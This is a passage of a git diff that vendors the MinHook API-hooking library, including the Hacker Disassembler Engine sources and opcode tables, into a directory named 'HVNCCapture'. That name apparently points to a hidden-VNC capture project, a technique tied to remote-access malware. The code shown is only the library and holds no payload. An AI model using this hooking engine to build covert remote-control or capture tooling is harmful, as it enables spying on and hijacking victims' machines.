2; + } + if (cflags & C_IMM8) { + hs->flags |= F_IMM8; + hs->imm.imm8 = *p++; + } + + if (cflags & C_REL32) { + rel32_ok: + hs->flags |= F_IMM32 | F_RELATIVE; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else if (cflags & C_REL8) { + hs->flags |= F_IMM8 | F_RELATIVE; + hs->imm.imm8 = *p++; + } + + disasm_done: + + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { + hs->flags |= F_ERROR | F_ERROR_LENGTH; + hs->len = 15; + } + + return (unsigned int)hs->len; +} + +#endif // defined(_M_IX86) || defined(__i386__) diff --git a/HVNCCapture/Minhook/src/hde/hde32.h b/HVNCCapture/Minhook/src/hde/hde32.h new file mode 100644 index 0000000..1112450 --- /dev/null +++ b/HVNCCapture/Minhook/src/hde/hde32.h @@ -0,0 +1,105 @@ +/* + * Hacker Disassembler Engine 32 + * Copyright (c) 2006-2009, Vyacheslav Patkov. + * All rights reserved. + * + * hde32.h: C/C++ header file + * + */ + +#ifndef _HDE32_H_ +#define _HDE32_H_ + +/* stdint.h - C99 standard header + * http://en.wikipedia.org/wiki/stdint.h + * + * if your compiler doesn't contain "stdint.h" header (for + * example, Microsoft Visual C++), you can download file: + * http://www.azillionmonkeys.com/qed/pstdint.h + * and change next line to: + * #include "pstdint.h" + */ +#include "pstdint.h" + +#define F_MODRM 0x00000001 +#define F_SIB 0x00000002 +#define F_IMM8 0x00000004 +#define F_IMM16 0x00000008 +#define F_IMM32 0x00000010 +#define F_DISP8 0x00000020 +#define F_DISP16 0x00000040 +#define F_DISP32 0x00000080 +#define F_RELATIVE 0x00000100 +#define F_2IMM16 0x00000800 +#define F_ERROR 0x00001000 +#define F_ERROR_OPCODE 0x00002000 +#define F_ERROR_LENGTH 0x00004000 +#define F_ERROR_LOCK 0x00008000 +#define F_ERROR_OPERAND 0x00010000 +#define F_PREFIX_REPNZ 0x01000000 +#define F_PREFIX_REPX 0x02000000 +#define F_PREFIX_REP 0x03000000 +#define F_PREFIX_66 0x04000000 +#define F_PREFIX_67 0x08000000 +#define F_PREFIX_LOCK 0x10000000 +#define F_PREFIX_SEG 0x20000000 +#define F_PREFIX_ANY 0x3f000000 + +#define PREFIX_SEGMENT_CS 0x2e +#define PREFIX_SEGMENT_SS 0x36 +#define PREFIX_SEGMENT_DS 0x3e +#define PREFIX_SEGMENT_ES 0x26 +#define PREFIX_SEGMENT_FS 0x64 +#define PREFIX_SEGMENT_GS 0x65 +#define PREFIX_LOCK 0xf0 +#define PREFIX_REPNZ 0xf2 +#define PREFIX_REPX 0xf3 +#define PREFIX_OPERAND_SIZE 0x66 +#define PREFIX_ADDRESS_SIZE 0x67 + +#pragma pack(push,1) + +typedef struct { + uint8_t len; + uint8_t p_rep; + uint8_t p_lock; + uint8_t p_seg; + uint8_t p_66; + uint8_t p_67; + uint8_t opcode; + uint8_t opcode2; + uint8_t modrm; + uint8_t modrm_mod; + uint8_t modrm_reg; + uint8_t modrm_rm; + uint8_t sib; + uint8_t sib_scale; + uint8_t sib_index; + uint8_t sib_base; + union { + uint8_t imm8; + uint16_t imm16; + uint32_t imm32; + } imm; + union { + uint8_t disp8; + uint16_t disp16; + uint32_t disp32; + } disp; + uint32_t flags; +} hde32s; + +#pragma pack(pop) + +#ifdef __cplusplus +extern "C" { +#endif + +/* __cdecl */ +unsigned int hde32_disasm(const void *code, hde32s *hs); + +#ifdef __cplusplus +} +#endif + +#endif /* _HDE32_H_ */ diff --git a/HVNCCapture/Minhook/src/hde/hde64.c b/HVNCCapture/Minhook/src/hde/hde64.c new file mode 100644 index 0000000..ce773b1 --- /dev/null +++ b/HVNCCapture/Minhook/src/hde/hde64.c @@ -0,0 +1,335 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#if defined(_M_X64) || defined(__x86_64__) + +#include +#include "hde64.h" +#include "table64.h" + +unsigned int hde64_disasm(const void *code, hde64s *hs) +{ + uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; + uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; + uint8_t op64 = 0; + + memset(hs, 0, sizeof(hde64s)); + + for (x = 16; x; x--) + switch (c = *p++) { + case 0xf3: + hs->p_rep = c; + pref |= PRE_F3; + break; + case 0xf2: + hs->p_rep = c; + pref |= PRE_F2; + break; + case 0xf0: + hs->p_lock = c; + pref |= PRE_LOCK; + break; + case 0x26: case 0x2e: case 0x36: + case 0x3e: case 0x64: case 0x65: + hs->p_seg = c; + pref |= PRE_SEG; + break; + case 0x66: + hs->p_66 = c; + pref |= PRE_66; + break; + case 0x67: + hs->p_67 = c; + pref |= PRE_67; + break; + default: + goto pref_done; + } + pref_done: + + hs->flags = (uint32_t)pref << 23; + + if (!pref) + pref |= PRE_NONE; + + if ((c & 0xf0) == 0x40) { + hs->flags |= F_PREFIX_REX; + if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) + op64++; + hs->rex_r = (c & 7) >> 2; + hs->rex_x = (c & 3) >> 1; + hs->rex_b = c & 1; + if (((c = *p++) & 0xf0) == 0x40) { + opcode = c; + goto error_opcode; + } + } + + if ((hs->opcode = c) == 0x0f) { + hs->opcode2 = c = *p++; + ht += DELTA_OPCODES; + } else if (c >= 0xa0 && c <= 0xa3) { + op64++; + if (pref & PRE_67) + pref |= PRE_66; + else + pref &= ~PRE_66; + } + + opcode = c; + cflags = ht[ht[opcode / 4] + (opcode % 4)]; + + if (cflags == C_ERROR) { + error_opcode: + hs->flags |= F_ERROR | F_ERROR_OPCODE; + cflags = 0; + if ((opcode & -3) == 0x24) + cflags++; + } + + x = 0; + if (cflags & C_GROUP) { + uint16_t t; + t = *(uint16_t *)(ht + (cflags & 0x7f)); + cflags = (uint8_t)t; + x = (uint8_t)(t >> 8); + } + + if (hs->opcode2) { + ht = hde64_table + DELTA_PREFIXES; + if (ht[ht[opcode / 4] + (opcode % 4)] & pref) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (cflags & C_MODRM) { + hs->flags |= F_MODRM; + hs->modrm = c = *p++; + hs->modrm_mod = m_mod = c >> 6; + hs->modrm_rm = m_rm = c & 7; + hs->modrm_reg = m_reg = (c & 0x3f) >> 3; + + if (x && ((x << m_reg) & 0x80)) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { + uint8_t t = opcode - 0xd9; + if (m_mod == 3) { + ht = hde64_table + DELTA_FPU_MODRM + t*8; + t = ht[m_reg] << m_rm; + } else { + ht = hde64_table + DELTA_FPU_REG; + t = ht[t] << m_reg; + } + if (t & 0x80) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (pref & PRE_LOCK) { + if (m_mod == 3) { + hs->flags |= F_ERROR | F_ERROR_LOCK; + } else { + uint8_t *table_end, op = opcode; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_LOCK_OK; + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; + } else { + ht = hde64_table + DELTA_OP_LOCK_OK; + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; + op &= -2; + } + for (; ht != table_end; ht++) + if (*ht++ == op) { + if (!((*ht << m_reg) & 0x80)) + goto no_lock_error; + else + break; + } + hs->flags |= F_ERROR | F_ERROR_LOCK; + no_lock_error: + ; + } + } + + if (hs->opcode2) { + switch (opcode) { + case 0x20: case 0x22: + m_mod = 3; + if (m_reg > 4 || m_reg == 1) + goto error_operand; + else + goto no_error_operand; + case 0x21: case 0x23: + m_mod = 3; + if (m_reg == 4 || m_reg == 5) + goto error_operand; + else + goto no_error_operand; + } + } else { + switch (opcode) { + case 0x8c: + if (m_reg > 5) + goto error_operand; + else + goto no_error_operand; + case 0x8e: + if (m_reg == 1 || m_reg > 5) + goto error_operand; + else + goto no_error_operand; + } + } + + if (m_mod == 3) { + uint8_t *table_end; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_ONLY_MEM; + table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; + } else { + ht = hde64_table + DELTA_OP_ONLY_MEM; + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; + } + for (; ht != table_end; ht += 2) + if (*ht++ == opcode) { + if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) + goto error_operand; + else + break; + } + goto no_error_operand; + } else if (hs->opcode2) { + switch (opcode) { + case 0x50: case 0xd7: case 0xf7: + if (pref & (PRE_NONE | PRE_66)) + goto error_operand; + break; + case 0xd6: + if (pref & (PRE_F2 | PRE_F3)) + goto error_operand; + break; + case 0xc5: + goto error_operand; + } + goto no_error_operand; + } else + goto no_error_operand; + + error_operand: + hs->flags |= F_ERROR | F_ERROR_OPERAND; + no_error_operand: + + c = *p++; + if (m_reg <= 1) { + if (opcode == 0xf6) + cflags |= C_IMM8; + else if (opcode == 0xf7) + cflags |= C_IMM_P66; + } + + switch (m_mod) { + case 0: + if (pref & PRE_67) { + if (m_rm == 6) + disp_size = 2; + } else + if (m_rm == 5) + disp_size = 4; + break; + case 1: + disp_size = 1; + break; + case 2: + disp_size = 2; + if (!(pref & PRE_67)) + disp_size <<= 1; + break; + } + + if (m_mod != 3 && m_rm == 4) { + hs->flags |= F_SIB; + p++; + hs->sib = c; + hs->sib_scale = c >> 6; + hs->sib_index = (c & 0x3f) >> 3; + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) + disp_size = 4; + } + + p--; + switch (disp_size) { + case 1: + hs->flags |= F_DISP8; + hs->disp.disp8 = *p; + break; + case 2: + hs->flags |= F_DISP16; + hs->disp.disp16 = *(uint16_t *)p; + break; + case 4: + hs->flags |= F_DISP32; + hs->disp.disp32 = *(uint32_t *)p; + break; + } + p += disp_size; + } else if (pref & PRE_LOCK) + hs->flags |= F_ERROR | F_ERROR_LOCK; + + if (cflags & C_IMM_P66) { + if (cflags & C_REL32) { + if (pref & PRE_66) { + hs->flags |= F_IMM16 | F_RELATIVE; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + goto disasm_done; + } + goto rel32_ok; + } + if (op64) { + hs->flags |= F_IMM64; + hs->imm.imm64 = *(uint64_t *)p; + p += 8; + } else if (!(pref & PRE_66)) { + hs->flags |= F_IMM32; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else + goto imm16_ok; + } + + + if (cflags & C_IMM16) { + imm16_ok: + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + } + if (cflags & C_IMM8) { + hs->flags |= F_IMM8; + hs->imm.imm8 = *p++; + } + + if (cflags & C_REL32) { + rel32_ok: + hs->flags |= F_IMM32 | F_RELATIVE; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else if (cflags & C_REL8) { + hs->flags |= F_IMM8 | F_RELATIVE; + hs->imm.imm8 = *p++; + } + + disasm_done: + + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { + hs->flags |= F_ERROR | F_ERROR_LENGTH; + hs->len = 15; + } + + return (unsigned int)hs->len; +} + +#endif // defined(_M_X64) || defined(__x86_64__) diff --git a/HVNCCapture/Minhook/src/hde/hde64.h b/HVNCCapture/Minhook/src/hde/hde64.h new file mode 100644 index 0000000..ecbf4df --- /dev/null +++ b/HVNCCapture/Minhook/src/hde/hde64.h @@ -0,0 +1,112 @@ +/* + * Hacker Disassembler Engine 64 + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + * hde64.h: C/C++ header file + * + */ + +#ifndef _HDE64_H_ +#define _HDE64_H_ + +/* stdint.h - C99 standard header + * http://en.wikipedia.org/wiki/stdint.h + * + * if your compiler doesn't contain "stdint.h" header (for + * example, Microsoft Visual C++), you can download file: + * http://www.azillionmonkeys.com/qed/pstdint.h + * and change next line to: + * #include "pstdint.h" + */ +#include "pstdint.h" + +#define F_MODRM 0x00000001 +#define F_SIB 0x00000002 +#define F_IMM8 0x00000004 +#define F_IMM16 0x00000008 +#define F_IMM32 0x00000010 +#define F_IMM64 0x00000020 +#define F_DISP8 0x00000040 +#define F_DISP16 0x00000080 +#define F_DISP32 0x00000100 +#define F_RELATIVE 0x00000200 +#define F_ERROR 0x00001000 +#define F_ERROR_OPCODE 0x00002000 +#define F_ERROR_LENGTH 0x00004000 +#define F_ERROR_LOCK 0x00008000 +#define F_ERROR_OPERAND 0x00010000 +#define F_PREFIX_REPNZ 0x01000000 +#define F_PREFIX_REPX 0x02000000 +#define F_PREFIX_REP 0x03000000 +#define F_PREFIX_66 0x04000000 +#define F_PREFIX_67 0x08000000 +#define F_PREFIX_LOCK 0x10000000 +#define F_PREFIX_SEG 0x20000000 +#define F_PREFIX_REX 0x40000000 +#define F_PREFIX_ANY 0x7f000000 + +#define PREFIX_SEGMENT_CS 0x2e +#define PREFIX_SEGMENT_SS 0x36 +#define PREFIX_SEGMENT_DS 0x3e +#define PREFIX_SEGMENT_ES 0x26 +#define PREFIX_SEGMENT_FS 0x64 +#define PREFIX_SEGMENT_GS 0x65 +#define PREFIX_LOCK 0xf0 +#define PREFIX_REPNZ 0xf2 +#define PREFIX_REPX 0xf3 +#define PREFIX_OPERAND_SIZE 0x66 +#define PREFIX_ADDRESS_SIZE 0x67 + +#pragma pack(push,1) + +typedef struct { + uint8_t len; + uint8_t p_rep; + uint8_t p_lock; + uint8_t p_seg; + uint8_t p_66; + uint8_t p_67; + uint8_t rex; + uint8_t rex_w; + uint8_t rex_r; + uint8_t rex_x; + uint8_t rex_b; + uint8_t opcode; + uint8_t opcode2; + uint8_t modrm; + uint8_t modrm_mod; + uint8_t modrm_reg; + uint8_t modrm_rm; + uint8_t sib; + uint8_t sib_scale; + uint8_t sib_index; + uint8_t sib_base; + union { + uint8_t imm8; + uint16_t imm16; + uint32_t imm32; + uint64_t imm64; + } imm; + union { + uint8_t disp8; + uint16_t disp16; + uint32_t disp32; + } disp; + uint32_t flags; +} hde64s; + +#pragma pack(pop) + +#ifdef __cplusplus +extern "C" { +#endif + +/* __cdecl */ +unsigned int hde64_disasm(const void *code, hde64s *hs); + +#ifdef __cplusplus +} +#endif + +#endif /* _HDE64_H_ */ diff --git a/HVNCCapture/Minhook/src/hde/pstdint.h b/HVNCCapture/Minhook/src/hde/pstdint.h new file mode 100644 index 0000000..84d82a0 --- /dev/null +++ b/HVNCCapture/Minhook/src/hde/pstdint.h @@ -0,0 +1,39 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#include + +// Integer types for HDE. +typedef INT8 int8_t; +typedef INT16 int16_t; +typedef INT32 int32_t; +typedef INT64 int64_t; +typedef UINT8 uint8_t; +typedef UINT16 uint16_t; +typedef UINT32 uint32_t; +typedef UINT64 uint64_t; diff --git a/HVNCCapture/Minhook/src/hde/table32.h b/HVNCCapture/Minhook/src/hde/table32.h new file mode 100644 index 0000000..7b3e12e --- /dev/null +++ b/HVNCCapture/Minhook/src/hde/table32.h @@ -0,0 +1,73 @@ +/* + * Hacker Disassembler Engine 32 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#define C_NONE 0x00 +#define C_MODRM 0x01 +#define C_IMM8 0x02 +#define C_IMM16 0x04 +#define C_IMM_P66 0x10 +#define C_REL8 0x20 +#define C_REL32 0x40 +#define C_GROUP 0x80 +#define C_ERROR 0xff + +#define PRE_ANY 0x00 +#define PRE_NONE 0x01 +#define PRE_F2 0x02 +#define PRE_F3 0x04 +#define PRE_66 0x08 +#define PRE_67 0x10 +#define PRE_LOCK 0x20 +#define PRE_SEG 0x40 +#define PRE_ALL 0xff + +#define DELTA_OPCODES 0x4a +#define DELTA_FPU_REG 0xf1 +#define DELTA_FPU_MODRM 0xf8 +#define DELTA_PREFIXES 0x130 +#define DELTA_OP_LOCK_OK 0x1a1 +#define DELTA_OP2_LOCK_OK 0x1b9 +#define DELTA_OP_ONLY_MEM 0x1cb +#define DELTA_OP2_ONLY_MEM 0x1da + +unsigned char hde32_table[] = { + 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3, + 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f, + 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3, + 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa, + 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90, + 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f, + 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d, + 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59, + 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59, + 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0, + 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01, + 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11, + 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8, + 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca, + 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff, + 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03, + 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00, + 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00, + 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f, + 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a, + 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a, + 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a, + 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06, + 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06, + 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, + 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08, + 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01, + 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba, + 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00, + 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00, + 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07, + 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf, + 0xe7,0x08,0x00,0xf0,0x02,0x00 +}; diff --git a/HVNCCapture/Minhook/src/hde/table64.h b/HVNCCapture/Minhook/src/hde/table64.h new file mode 100644 index 0000000..01d4541 --- /dev/null +++ b/HVNCCapture/Minhook/src/hde/table64.h @@ -0,0 +1,74 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#define C_NONE 0x00 +#define C_MODRM 0x01 +#define C_IMM8 0x02 +#define C_IMM16 0x04 +#define C_IMM_P66 0x10 +#define C_REL8 0x20 +#define C_REL32 0x40 +#define C_GROUP 0x80 +#define C_ERROR 0xff + +#define PRE_ANY 0x00 +#define PRE_NONE 0x01 +#define PRE_F2 0x02 +#define PRE_F3 0x04 +#define PRE_66 0x08 +#define PRE_67 0x10 +#define PRE_LOCK 0x20 +#define PRE_SEG 0x40 +#define PRE_ALL 0xff + +#define DELTA_OPCODES 0x4a +#define DELTA_FPU_REG 0xfd +#define DELTA_FPU_MODRM 0x104 +#define DELTA_PREFIXES 0x13c +#define DELTA_OP_LOCK_OK 0x1ae +#define DELTA_OP2_LOCK_OK 0x1c6 +#define DELTA_OP_ONLY_MEM 0x1d8 +#define DELTA_OP2_ONLY_MEM 0x1e7 + +unsigned char hde64_table[] = { + 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, + 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, + 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, + 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, + 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, + 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, + 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, + 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, + 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, + 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, + 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, + 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, + 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, + 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, + 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, + 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, + 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, + 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, + 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, + 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, + 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, + 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, + 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, + 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, + 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, + 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, + 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, + 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, + 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, + 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, + 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, + 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, + 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, + 0x00,0xf0,0x02,0x00 +}; diff --git a/HVNCCapture/Minhook/src/hook.c b/HVNCCapture/Minhook/src/hook.c new file mode 100644 index 0000000..06f5696 --- /dev/null +++ b/HVNCCapture/Minhook/src/hook.c @@ -0,0 +1,939 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE 